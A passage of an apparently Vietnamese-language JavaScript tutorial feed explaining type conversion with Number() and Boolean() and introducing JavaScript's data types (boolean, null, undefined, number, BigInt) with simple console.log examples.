13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Chuyển đổi kiểu dữ liệu sang number</h2> <p>Khi thực hiện tính toán, JavaScript sẽ chuyển đổi các kiểu dữ liệu về kiểu dữ liệu number.</p> <p>Ví dụ phép chia giữa hai string:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"10"</span> <span class="token operator">/</span> <span class="token string">"2"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 5</span></code></pre></div> <p>Bởi vì string <code>"10"</code> và <code>"2"</code> được chuyển đổi về kiểu number thành số <code>10</code> và số <code>2</code>. Nên kết quả thu được là 5.</p> <p>Để chuyển đổi bất kỳ kiểu dữ liệu nào thành number, bạn có thể dùng hàm <code>Number(value)</code>, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Number</span><span class="token punctuation">(</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 0</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Number</span><span class="token punctuation">(</span><span class="token string">"Hello"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// NaN</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Number</span><span class="token punctuation">(</span><span class="token string">"10"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 10</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Number</span><span class="token punctuation">(</span><span class="token string">" "</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 0</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Number</span><span class="token punctuation">(</span><span class="token string">" 99 "</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 99</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Number</span><span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Number</span><span class="token punctuation">(</span><span class="token boolean">false</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 0</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Number</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 0</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Number</span><span class="token punctuation">(</span><span class="token keyword">undefined</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// NaN</span></code></pre></div> <p>Bạn để ý một số quy luật khi chuyển đổi kiểu dữ liệu về number như sau:</p> <ul> <li><code>null</code> chuyển về number thành <code>0</code>.</li> <li><code>undefined</code> chuyển về number thành <code>NaN</code>.</li> <li><code>true</code> chuyển về number thành <code>1</code>.</li> <li><code>false</code> chuyển về number thành <code>0</code>.</li> <li>Một giá trị string sau khi bỏ đi dấu cách ("whitespace") ở đầu và cuối string, nếu thành phần còn lại mà là: <ul> <li>String rỗng <code>""</code> thì chuyển về thành số <code>0</code>.</li> <li>String khác rỗng và có thể chuyển về number thì sẽ biến thành số tương ứng.</li> <li>String khác rỗng và không thể chuyển về number thì trở thành <code>NaN</code>.</li> </ul> </li> </ul> <h2 id="chuyển-đổi-kiểu-dữ-liệu-sang-boolean" style="position:relative;"><a href="#chuy%E1%BB%83n-%C4%91%E1%BB%95i-ki%E1%BB%83u-d%E1%BB%AF-li%E1%BB%87u-sang-boolean" aria-label="chuyển đổi kiểu dữ liệu sang boolean permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Chuyển đổi kiểu dữ liệu sang boolean</h2> <p>Để chuyển đổi kiểu dữ liệu sang boolean, bạn có thể dùng hàm <code>Boolean(value)</code>.</p> <p>Quy luật chuyển đổi sang boolean như sau:</p> <ul> <li>Những giá trị "empty" như: số <code>0</code>, string rỗng <code>""</code>, <code>null</code>, <code>undefined</code> và <code>NaN</code> sẽ trở thành <code>false</code>.</li> <li>Những giá trị còn lại sẽ trở thành <code>true</code>.</li> </ul> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Boolean</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Boolean</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Boolean</span><span class="token punctuation">(</span><span class="token number">10n</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Boolean</span><span class="token punctuation">(</span><span class="token number">Infinity</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Boolean</span><span class="token punctuation">(</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Boolean</span><span class="token punctuation">(</span><span class="token string">"hello"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Boolean</span><span class="token punctuation">(</span><span class="token string">" "</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Boolean</span><span class="token punctuation">(</span><span class="token number">NaN</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Boolean</span><span class="token punctuation">(</span><span class="token keyword">undefined</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <p>Trên đây là một số kiến thức cơ bản cần nhớ về chuyển đổi kiểu dữ liệu trong JavaScript. Hy vọng bạn nắm được những kiến thức cơ bản. Vì đến những bài viết sau, mình sẽ gặp vấn đề chuyển đổi kiểu dữ liệu này khá nhiều.</p> <blockquote> <p>Có thể bạn quan tâm: <a href="/chuyen-object-ve-kieu-nguyen-thuy/">Chuyển đổi object về kiểu nguyên thủy</a>.</p> </blockquote>[email protected]<![CDATA[Các kiểu dữ liệu trong JavaScript]]><![CDATA[Trong hai bài viết về biến và hằng trong JavaScript, mình có đề cập đến việc gán giá trị cho biến và hằng. Ở đó, mỗi giá trị đều có một kiểu dữ liệu nhất định. Vậy bạn có biết kiểu…]]>https://completejavascript.com/kieu-du-lieu-trong-javascript/https://completejavascript.com/kieu-du-lieu-trong-javascript/<![CDATA[Kiểu dữ liệu]]><![CDATA[String]]>Tue, 02 May 2017 20:00:00 GMT<p>Trong hai bài viết về <a href="/bien-la-gi-bien-trong-javascript/">biến</a> và <a href="/hang-la-gi-hang-trong-javascript/">hằng</a> trong JavaScript, mình có đề cập đến việc <strong>gán giá trị</strong> cho biến và hằng. Ở đó, mỗi giá trị đều có một kiểu dữ liệu nhất định. Vậy bạn có biết kiểu dữ liệu là gì và các kiểu dữ liệu trong JavaScript là gì không?</p> <p>Sau đây mình sẽ cùng tìm hiểu về các kiểu dữ liệu cơ bản trong JavaScript. Còn về chi tiết của từng kiểu dữ liệu thì mình sẽ giới thiệu ở các bài tiếp theo.</p> <p>Bạn nhớ theo dõi chuyên mục <a href="/javascript/">JavaScript</a> để không bỏ lỡ bài viết mới nhất.</p> <h2 id="kiểu-dữ-liệu-là-gì" style="position:relative;"><a href="#ki%E1%BB%83u-d%E1%BB%AF-li%E1%BB%87u-l%C3%A0-g%C3%AC" aria-label="kiểu dữ liệu là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểu dữ liệu là gì?</h2> <p>Kiểu dữ liệu là một cách phân loại dữ liệu cho <a href="https://vi.wikipedia.org/wiki/Tr%C3%ACnh_bi%C3%AAn_d%E1%BB%8Bch">trình biên dịch</a> hoặc <a href="https://vi.wikipedia.org/wiki/Tr%C3%ACnh_th%C3%B4ng_d%E1%BB%8Bch">trình thông dịch</a> hiểu về kiểu của dữ liệu đang sử dụng.</p> <p>Đối với nhiều ngôn ngữ lập trình, khi khai báo một biến, bạn phải chỉ rõ biến đó thuộc kiểu dữ liệu gì. Nhưng đối với JavaScript thì khác, một biến có thể thuộc bất kỳ kiểu dữ liệu nào, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> x <span class="token operator">=</span> <span class="token number">999</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 999</span> x <span class="token operator">=</span> <span class="token string">"Helloworld"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Helloworld</span></code></pre></div> <p>Bạn thấy rằng, biến <code>x</code> ban đầu được gán giá trị <strong>kiểu số</strong>. Nhưng sau đó, mình gán lại giá trị kiểu <strong>chuỗi kí tự</strong> cho biến <code>x</code> và không có lỗi nào xảy ra.</p> <blockquote> <p>Đây vừa là <strong>ưu điểm</strong>, nhưng cũng là <strong>nhược điểm</strong> của JavaScript.</p> <ul> <li><strong>Ưu điểm</strong>: kiểu dữ liệu linh động giúp việc lập trình trở nên linh hoạt hơn.</li> <li><strong>Nhược điểm</strong>: khi chương trình trở nên phức tạp, số lượng dòng code nhiều lên, có thể bạn sẽ khó kiểm soát kiểu dữ liệu của biến, dẫn đến sai trong việc xử lý, tính toán.</li> </ul> </blockquote> <h2 id="các-kiểu-dữ-liệu-trong-javascript" style="position:relative;"><a href="#c%C3%A1c-ki%E1%BB%83u-d%E1%BB%AF-li%E1%BB%87u-trong-javascript" aria-label="các kiểu dữ liệu trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Các kiểu dữ liệu trong JavaScript</h2> <p>JavaScript có <strong>8 kiểu dữ liệu cơ bản</strong>, trong đó, có 7 kiểu dữ liệu nguyên thủy (<strong>boolean, null, undefined, number, BigInt, string, symbol</strong>) và 1 kiểu dữ liệu dạng tham chiếu (<strong>object</strong>).</p> <blockquote> <p><strong>Kiểu dữ liệu nguyên thủy</strong>: là kiểu dữ liệu mà giá trị không thể thay đổi được. Đây là kiểu dữ liệu ứng với "level thấp nhất" của ngôn ngữ lập trình.</p> <p><strong>Kiểu dữ liệu tham chiếu</strong> (object): là tập hợp của các thuộc tính (key) và giá trị (value). Mà số lượng các key có thể thay đổi, giá trị ứng với key cũng có thể thay đổi. Do đó, giá trị của kiểu dữ liệu tham chiếu có thể thay đổi được.</p> </blockquote> <h3 id="kiểu-dữ-liệu-boolean-kiểu-logic" style="position:relative;"><a href="#ki%E1%BB%83u-d%E1%BB%AF-li%E1%BB%87u-boolean-ki%E1%BB%83u-logic" aria-label="kiểu dữ liệu boolean kiểu logic permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểu dữ liệu boolean (kiểu logic)</h3> <p>Boolean là kiểu dữ liệu logic chỉ bao gồm hai giá trị là <code>true</code> (đúng, chính xác) và <code>false</code> (sai, không chính xác), ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> isWebLoaded <span class="token operator">=</span> <span class="token boolean">true</span><span class="token punctuation">;</span> <span class="token comment">// => Trang web đã được tải xong</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isWebLoaded<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> <span class="token keyword">let</span> isProgramRunning <span class="token operator">=</span> <span class="token boolean">false</span><span class="token punctuation">;</span> <span class="token comment">// Chương trình đang không chạy</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isProgramRunning<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <h3 id="kiểu-dữ-liệu-null" style="position:relative;"><a href="#ki%E1%BB%83u-d%E1%BB%AF-li%E1%BB%87u-null" aria-label="kiểu dữ liệu null permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểu dữ liệu null</h3> <p>Kiểu dữ liệu <strong>null</strong> là một kiểu dữ liệu đặc biệt, chỉ bao gồm một giá trị là <code>null</code>, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> language <span class="token operator">=</span> <span class="token keyword">null</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>language<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// null</span></code></pre></div> <p>Trong ví dụ trên, biến <code>language</code> được hiểu là <strong>không biết giá trị</strong> hoặc <strong>không có giá trị</strong>.</p> <h3 id="kiểu-dữ-liệu-undefined" style="position:relative;"><a href="#ki%E1%BB%83u-d%E1%BB%AF-li%E1%BB%87u-undefined" aria-label="kiểu dữ liệu undefined permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểu dữ liệu undefined</h3> <p>Cũng tương tự như <strong>null</strong>, <strong>undefined</strong> là một kiểu dữ liệu đặc biệt trong JavaScript, chỉ bao gồm một giá trị <code>undefined</code>, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> language <span class="token operator">=</span> <span class="token keyword">undefined</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>language<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// undefined</span></code></pre></div> <p>Kiểu dữ liệu <strong>undefined</strong> có nghĩa là <strong>giá trị chưa được gán</strong>.</p> <blockquote> <p>📝 Khác nhau cơ bản giữa <strong>undefined</strong> và <strong>null</strong>:</p> <p>Kiểu dữ liệu <strong>null</strong> là kiểu dữ liệu <strong>được gán</strong> cho biến, thường được hiểu là <strong>không biết</strong> (không có).</p> <p>Trong khi đó, kiểu dữ liệu <strong>undefined</strong> là giá trị mặc định của biến sau khi khai báo mà <strong>không gán giá trị</strong> cho biến.</p> </blockquote> <p>Ví dụ khai báo biến mà không gán giá trị:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> language<span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>language<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// undefined</span></code></pre></div> <p>Trường hợp biến đã có giá trị rồi, bạn vẫn có thể chủ động gán lại giá trị <strong>undefined</strong> cho biến. Tuy nhiên, điều này là không nên. Vì như vậy là không đúng ý nghĩa của kiểu dữ liệu <strong>undefined</strong>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> language <span class="token operator">=</span> <span class="token string">"JavaScript"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>language<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// JavaScript</span> <span class="token comment">// KHÔNG NÊN</span> language <span class="token operator">=</span> <span class="token keyword">undefined</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>language<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// undefined</span> <span class="token comment">// NÊN</span> language <span class="token operator">=</span> <span class="token keyword">null</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>language<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// null</span></code></pre></div> <h3 id="kiểu-dữ-liệu-number" style="position:relative;"><a href="#ki%E1%BB%83u-d%E1%BB%AF-li%E1%BB%87u-number" aria-label="kiểu dữ liệu number permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểu dữ liệu number</h3> <p>Kiểu dữ liệu number là kiểu dữ liệu dạng số (tương tự trong toán học). Number trong JavaScript không có cú pháp gì đặc biệt. Bạn chỉ cần viết số ra.</p> <p>JavaScript có hai loại số là: <strong>số nguyên</strong> và <strong>số thực</strong>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> n1 <span class="token operator">=</span> <span class="token number">66</span><span class="token punctuation">;</span> <span class="token comment">// số nguyên dương</span> <span class="token keyword">let</span> n2 <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">66</span><span class="token punctuation">;</span> <span class="token comment">// số nguyên âm</span> <span class="token keyword">let</span> n3 <span class="token operator">=</span> <span class="token number">3.14</span><span class="token punctuation">;</span> <span class="token comment">// số thực dương</span> <span class="token keyword">let</span> n4 <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">3.14</span><span class="token punctuation">;</span> <span class="token comment">// số thực âm</span> <span class="token keyword">let</span> n5 <span class="token operator">=</span> <span class="token number">2e3</span><span class="token punctuation">;</span> <span class="token comment">// => 2*10^3 = 2000</span> <span class="token keyword">let</span> n6 <span class="token operator">=</span> <span class="token number">2e-3</span><span class="token punctuation">;</span> <span class="token comment">// => 2*10^(-3) = 0.002</span> <span class="token keyword">let</span> n7 <span class="token operator">=</span> <span class="token number">0xff</span><span class="token punctuation">;</span> <span class="token comment">// số dạng hexa (hệ cơ số 16): 15*16 + 15 = 255</span> <span class="token keyword">let</span> n8 <span class="token operator">=</span> <span class="token number">067</span><span class="token punctuation">;</span> <span class="token comment">// số dạng octa (hệ cơ số 8): 6*8 + 7 = 55</span> <span class="token keyword">let</span> n9 <span class="token operator">=</span> <span class="token number">0b11</span><span class="token punctuation">;</span> <span class="token comment">// số dạng nhị phân (hệ cơ số 2): 1*2 + 1 = 3</span></code></pre></div> <p>Ngoài những loại số trên, JavaScript còn có 3 số đặc biệt là: <strong>Infinity</strong>, <strong>-Infinity</strong> và <strong>NaN</strong>.</p> <ul> <li><strong>Infinity</strong>: là số dương vô cùng. Đây là giá trị đặc biệt và nó <strong>lớn hơn</strong> bất kỳ số nào khác. Bạn có thể sử dụng giá trị này trực tiếp hoặc thu được nó bằng cách lấy <strong>lấy số dương bất kỳ chia cho 0</strong> (toán tử chia trong JavaScript là <code>/</code>).</li> </ul> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">Infinity</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Infinity</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">1</span> <span class="token operator">/</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Infinity</span></code></pre></div> <ul> <li><strong>-Infinity</strong>: là số âm vô cùng. Đây cũng là giá trị đặc biệt và nó <strong>nhỏ hơn</strong> bất kỳ số nào khác. Bạn có thể sử dụng giá trị này trực tiếp hoặc thu được nó bằng cách lấy <strong>lấy số âm bất kỳ chia cho 0</strong>.</li> </ul> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">Infinity</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// -Infinity</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">1</span> <span class="token operator">/</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// -Infinity</span></code></pre></div> <ul> <li><strong>NaN</strong>: là viết tắt của <strong>Not a Number</strong>, được sử dụng để đại diện cho những trường hợp tính toán sai hoặc kết quả của một phép tính không xác định.</li> </ul> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Lấy 0 / 0</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">0</span> <span class="token operator">/</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// NaN</span> <span class="token comment">// Lấy chuỗi ký tự chia cho số</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"JavaScript"</span> <span class="token operator">/</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// NaN</span> <span class="token comment">// Lấy hai số Infinity trừ cho nhau</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">Infinity</span> <span class="token operator">-</span> <span class="token number">Infinity</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// NaN</span></code></pre></div> <blockquote> <p>Nhờ những số đặc biệt này mà việc tính toán trong JavaScript "luôn an toàn".</p> <p>Vì chương trình sẽ không bao giờ bị <a href="https://vi.wikipedia.org/wiki/Crash_(m%C3%A1y_t%C3%ADnh)">crash</a> do lỗi <strong>chia cho 0</strong> hay giá trị <strong>không phải số</strong>. Điều mà bạn có thể gặp phải ở nhiều ngôn ngữ khác như C/C++, Java,...</p> </blockquote> <h3 id="kiểu-dữ-liệu-bigint" style="position:relative;"><a href="#ki%E1%BB%83u-d%E1%BB%AF-li%E1%BB%87u-bigint" aria-label="kiểu dữ liệu bigint permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểu dữ liệu BigInt</h3> <p>Trong JavaScript, kiểu dữ liệu <strong>number</strong> không thể biểu diễn một số <strong>nguyên</strong> lớn hơn <code>(2<sup>53</sup>-1)</code> (bằng <strong>9007199254740991</strong>) và nhỏ hơn <code>-(2<sup>53</sup>-1)</code>.</p> <p>Với hầu hết các trường hợp, việc sử dụng kiểu dữ liệu <strong>number</strong> là quá đủ. Nhưng đôi khi, bạn vẫn cần biểu diễn và tính toán với những số nguyên cực kỳ lớn. Do đó, kiểu dữ liệu <strong>BigInt</strong> ra đời nhằm giải quyết vấn đề này.</p> <p>Để biểu diễn số nguyên với kiểu <strong>BigInt</strong>, bạn chỉ cần thêm chữ cái <code>n</code> ở phía sau, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> reallyBigNumber <span class="token operator">=</span> <span class="token number">12345678987654321012345678987654321n</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>reallyBigNumber<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 12345678987654321012345678987654321n</span></code></pre></div> <h3 id="kiểu-dữ-liệu-string" style="position:relative;"><a href="#ki%E1%BB%83u-d%E1%BB%AF-li%E1%BB%87u-string" aria-label="kiểu dữ liệu string permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 